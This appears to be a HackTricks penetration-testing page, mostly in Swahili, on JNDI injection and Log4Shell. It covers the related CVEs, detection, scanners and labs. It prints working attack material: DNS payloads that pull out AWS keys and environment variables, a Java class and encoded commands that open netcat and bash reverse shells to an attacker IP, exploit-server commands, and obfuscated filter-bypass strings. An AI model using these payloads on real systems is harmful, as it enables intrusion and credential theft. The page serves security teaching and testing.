# JNDI - Java Naming and Directory Interface & Log4Shell

{{#include ../../banners/hacktricks-training.md}}

## Basic Information

JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Java RMI Registry, na LDAP.

### JNDI Naming Reference

Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia JNDI Naming References, ambazo zinakuja katika aina mbili:

- **Reference Addresses**: Inaelezea mahali pa kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka anwani iliyoainishwa.
- **Remote Factory**: Inaelezea darasa la kiwanda cha mbali. Wakati inapoombwa, darasa linaweza kupakuliwa na kuanzishwa kutoka eneo la mbali.

Hata hivyo, mekanism hii inaweza kutumika vibaya, na hivyo kusababisha upakiaji na utekelezaji wa msimbo usio na mipaka. Kama hatua ya kupambana:

- **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama.
- **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.

Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, hivyo kuweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuziliwa mbali, na kusababisha upakiaji wa vitu vya Java visivyo na mipaka au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya.

Mifano ya URL zinazoweza kutumika vibaya ni pamoja na:

- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_

Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa hatua za kulinda dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupita ulinzi uliopo.

### JNDI Example

![](<../../images/image (1022).png>)

Hata kama umeweka **`PROVIDER_URL`**, unaweza kuashiria nyingine katika utafutaji na itapatikana: `ctx.lookup("<attacker-controlled-url>")` na hiyo ndiyo itakayotumiwa na mshambuliaji kupakia vitu visivyo na mipaka kutoka mfumo unaodhibitiwa na yeye.

### CORBA Overview

CORBA (Common Object Request Broker Architecture) inatumia **Interoperable Object Reference (IOR)** kutambulisha kwa kipekee vitu vya mbali. Kumbukumbu hii inajumuisha taarifa muhimu kama:

- **Type ID**: Kitambulisho cha kipekee kwa interface.
- **Codebase**: URL ya kupata darasa la stub.

Kwa hakika, CORBA si hatari kwa asili. Kuhakikisha usalama kawaida kunahusisha:

- Usakinishaji wa **Meneja wa Usalama**.
- Kuunda Meneja wa Usalama ili kuruhusu muunganisho na vyanzo vya msimbo vinavyoweza kuwa na madhara. Hii inaweza kufanywa kupitia:
- Ruhusa za socket, mfano, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) au kwa saraka maalum ambapo faili zenye madhara zinaweza kuwekwa.

Hata hivyo, sera za wauzaji wengine zinaweza kuwa na msamaha na kuruhusu muunganisho haya kwa chaguo-msingi.

### RMI Context

Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa usio na mipaka umewekwa mipaka kwa chaguo-msingi. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.

### LDAP

Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
**Utafutaji** unakusudia **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.

Ikiwa utafutaji wa LDAP ulifanywa kwa **SearchControls.setReturningObjFlag() na `true`, basi kitu kilichorejeshwa kitawekwa upya**.

Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
**Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.

Ikiwa unaweza **kufanya programu kutatua JNDI LDAP URL**, unaweza kudhibiti LDAP ambayo itatafutwa, na unaweza kutuma nyuma exploit (log4shell).

#### Deserialization exploit

![](<../../images/image (275).png>)

**exploit imeandikwa** na itakaguliwa.\
Ikiwa `trustURLCodebase` ni `true`, mshambuliaji anaweza kutoa darasa lake mwenyewe katika codebase, ikiwa sivyo, atahitaji kutumia gadgets katika classpath.

#### JNDI Reference exploit

Ni rahisi kushambulia LDAP hii kwa kutumia **JavaFactory references**:

![](<../../images/image (1059).png>)

## Log4Shell Vulnerability

Udhaifu huu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:name}` ambapo `prefix` ni moja ya nambari tofauti za [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) ambapo `name` inapaswa kutathminiwa. Kwa mfano, `${java:version}` ni toleo la sasa linalotumika la Java.

[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya chaguo-msingi haitumiki.

Ikiwa **: ipo** katika funguo, kama katika `${jndi:ldap://example.com/a}` hakuna **prefix** na **seva ya LDAP inatafutwa kwa kitu**. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa.

Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo la Log4j lililo hatarini linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumika sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia pembejeo** na data ambayo mendelezi alionyesha.

## Overview of Log4Shell-Related CVEs

### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**

Udhaifu huu ni **kasoro ya deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kuanzia 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).

### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**

Kwanza ilikadiria chini lakini baadaye ikapandishwa kuwa hatari, CVE hii ni **kasoro ya Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa chaguo-msingi, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa chaguo-msingi.

### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**

Inayoathiri **matoleo ya Log4j 1.x** katika usanidi usio wa chaguo-msingi ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`.

### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**

Udhaifu huu unaathiri **mfumo wa kurekodi wa Logback**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo huu ulipatikana kuwa na udhaifu, na matoleo mapya (1.3.0-alpha11 na 1.2.9) yameachiliwa ili kushughulikia tatizo hili.

### **CVE-2021-45105** **\[High]**

Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurekebisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).

### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)

Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi ya log4j. Inahusisha uwezekano wa utekelezaji wa msimbo usio na mipaka kupitia JDBCAppender iliyowekwa. Maelezo zaidi yanapatikana katika [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).

## Log4Shell Exploitation

### Discovery

Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau **ombio la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:

- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (ukitumia [canarytokens.com](https://canarytokens.org/generate))
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (ukitumia [interactsh](https://github.com/projectdiscovery/interactsh))
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (ukitumia Burp Suite)
- `${jndi:ldap://2j4ayo.dnslog.cn}` (ukitumia [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` ukitumia (ukitumia [huntress](https://log4shell.huntress.com))

Kumbuka kuwa **hata kama ombio la DNS linapokelewa hilo halimaanishi kuwa programu inaweza kutumika vibaya** (au hata kuwa hatarini), itabidi ujaribu kuishambulia.

> [!NOTE]
> Kumbuka kuwa ili **ku exploit toleo 2.15** unahitaji kuongeza **bypass ya ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}

#### **Local Discovery**

Tafuta **matoleo ya ndani ya maktaba yaliyo hatarini** kwa:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
### **Uthibitisho**

Baadhi ya majukwaa yaliyoorodheshwa hapo awali yatakuruhusu kuingiza baadhi ya data za mabadiliko ambazo zitaandikwa wakati zinapohitajika.\
Hii inaweza kuwa na manufaa sana kwa mambo 2:

- Ili **kuhakiki** udhaifu
- Ili **kuchota taarifa** kwa kutumia udhaifu

Kwa mfano unaweza kuomba kitu kama:\
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombio la DNS linapokelewa na thamani ya mabadiliko ya mazingira**, unajua programu hiyo ina udhaifu.

Taarifa nyingine unayoweza kujaribu **kuchota**:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information
```
### RCE Information

> [!NOTE]
> Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
>
> For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
>
> For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)

### RCE - Marshalsec with custom payload

You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)

Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Ili kumshawishi lengo kupakia msimbo wa reverse shell, tengeneza faili la Java lililo na jina `Exploit.java` lenye maudhui yafuatayo:
```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
Kusanya faili la Java kuwa faili la darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha, anzisha **HTTP server** katika saraka inayoshikilia faili la darasa kwa kutumia: `python3 -m http.server`. Hakikisha **marshalsec LDAP server** inarejelea HTTP server hii.

Chochea utekelezaji wa darasa la exploit kwenye seva ya wavuti iliyo hatarini kwa kutuma payload inayofanana na:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Kumbuka:** Ukatili huu unategemea usanidi wa Java kuruhusu upakiaji wa msingi wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililoaminika kwa utekelezaji wa msimbo wa kiholela.

### RCE - **JNDIExploit**

> [!KUMBUKA]
> Kumbuka kwamba kwa sababu fulani mwandishi aliondoa mradi huu kutoka github baada ya kugunduliwa kwa log4shell. Unaweza kupata toleo lililohifadhiwa katika [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti ya kutumia udhaifu huu.
>
> Zaidi ya hayo, huwezi kupata msimbo wa chanzo katika mashine ya wayback, hivyo changanua msimbo wa chanzo, au tekeleza jar ukijua kwamba hujui unachotekeleza.

Kwa mfano huu unaweza tu kuendesha **seva ya wavuti iliyo na udhaifu wa log4shell** katika bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuendesha_). Programu hii iliyo na udhaifu inarekodi kwa toleo lenye udhaifu la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_.

Kisha, unaweza kupakua faili ya **JNDIExploit** jar na kuitekeleza kwa:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakuwa na uwezo wa kuelewa ni payload ipi inapaswa kutolewa na itamwelekeza mwathirika kwenye seva ya HTTP, ambayo itatoa exploit.\
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika _com.feihong.ldap.template_ unaweza kuona madarasa tofauti ya template ambayo yatakuwa **yanazalisha exploits**.

Unaweza kuona exploits zote zinazopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya zile muhimu ni:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
Hivyo, katika mfano wetu, tayari tuna hiyo programu ya docker yenye udhaifu ikifanya kazi. Ili kuishambulia:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Wakati unatumia mashambulizi utaona matokeo fulani kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**.

**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguzi nyingine za unyakuzi. Aidha, ikiwa unahitaji, unaweza kubadilisha bandari za seva za LDAP na HTTP.**

### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>

Kwa njia sawa na unyakuzi wa awali, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kutekeleza udhaifu huu.\
Unaweza kuunda URLs za kutuma kwa mwathirika ukikimbia:
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutoka kwa darasa lililoaminika ili kutekeleza msimbo wa kawaida._

### RCE - JNDI-Injection-Exploit-Plus

[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kuunda **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP na seva ya HTTP.\

### RCE - ysoserial & JNDI-Exploit-Kit

Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kawaida** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_).

Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuunda **JNDI links** ambapo exploit itakuwa ikisubiri muunganisho kutoka kwa mashine zenye udhaifu. Unaweza kuhudumia **exploit tofauti ambazo zinaweza kuundwa kiotomatiki** na JNDI-Exploit-Kit au hata **payloads zako za deserialization** (zilizoundwa na wewe au ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../images/image (1118).png>)

Sasa unaweza kwa urahisi kutumia kiungo cha JNDI kilichozalishwa kutekeleza udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**

### Bypasses
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Automatic Scanners

- [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
- [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
- [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
- [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Pata maktaba za ndani zenye udhaifu

### Labs to test

- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
- [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
- [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)

## Post-Log4Shell Exploitation

Katika [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) inaelezwa vizuri jinsi inavyoweza kuwa **inawezekana** **kudhulumu** baadhi ya vipengele vya **Log4J**.

Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia:

> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa default. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.

> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **tu nyuzi za kutafuta katika usanidi zinaongezwa kwa njia ya kurudiarudia**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linaweza kutatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwa.

Hii inamaanisha kwamba kwa default unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudiarudia** unahitaji kuwa na hizo zimewekwa. 

Kwa mfano, katika hiyo CTF hii ilipangwa katika faili log4j2.xml:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
### Env Lookups

Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) mshambuliaji alidhibiti thamani ya `${sys:cmd}` na alihitaji kutoa bendera kutoka kwa mabadiliko ya mazingira.\
Kama inavyoonekana kwenye ukurasa huu katika [**payloads za awali**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) kuna njia tofauti za kufikia mabadiliko ya mazingira, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na manufaa lakini inaweza kuwa na manufaa katika hali nyingine za maisha halisi.

### Exfiltration in Exceptions

Katika CTF, huwezi **kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:

![](<../../images/image (1023).png>)

### Conversion Patterns Exceptions

Ili tu kutaja, unaweza pia kuingiza [**patterns za uongofu**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) mpya na kuchochea makosa ambayo yataandikwa kwenye `stdout`. Kwa mfano:

![](<../../images/image (683).png>)

Hii haikupatikana kuwa na manufaa kutoa tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukufanikiwa kabla ya pattern ya uongofu, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.

### Conversion Patterns Regexes

Hata hivyo, inawezekana kutumia **patterns za uongofu ambazo zinasaidia regexes** kutoa taarifa kutoka kwa utafutaji kwa kutumia regexes na kutumia **binary search** au tabia za **muda**.

- **Binary search kupitia ujumbe wa makosa**

Pattern ya uongofu **`%replace`** inaweza kutumika **kuchukua nafasi** ya **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\
Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi **kuanzishe kosa ikiwa regex itakutana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa hakupatikana) kama ifuatavyo:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
- **Kulingana na muda**

Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Hivyo inawezekana kutumia payload kutoka kwenye [**ReDoS page**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** endapo bendera itapatikana.\
Kwa mfano, payload kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` itasababisha **timeout** katika CTF hiyo.

Katika [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS ilitumia **shambulio la amplification** kusababisha tofauti ya muda katika jibu:

> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
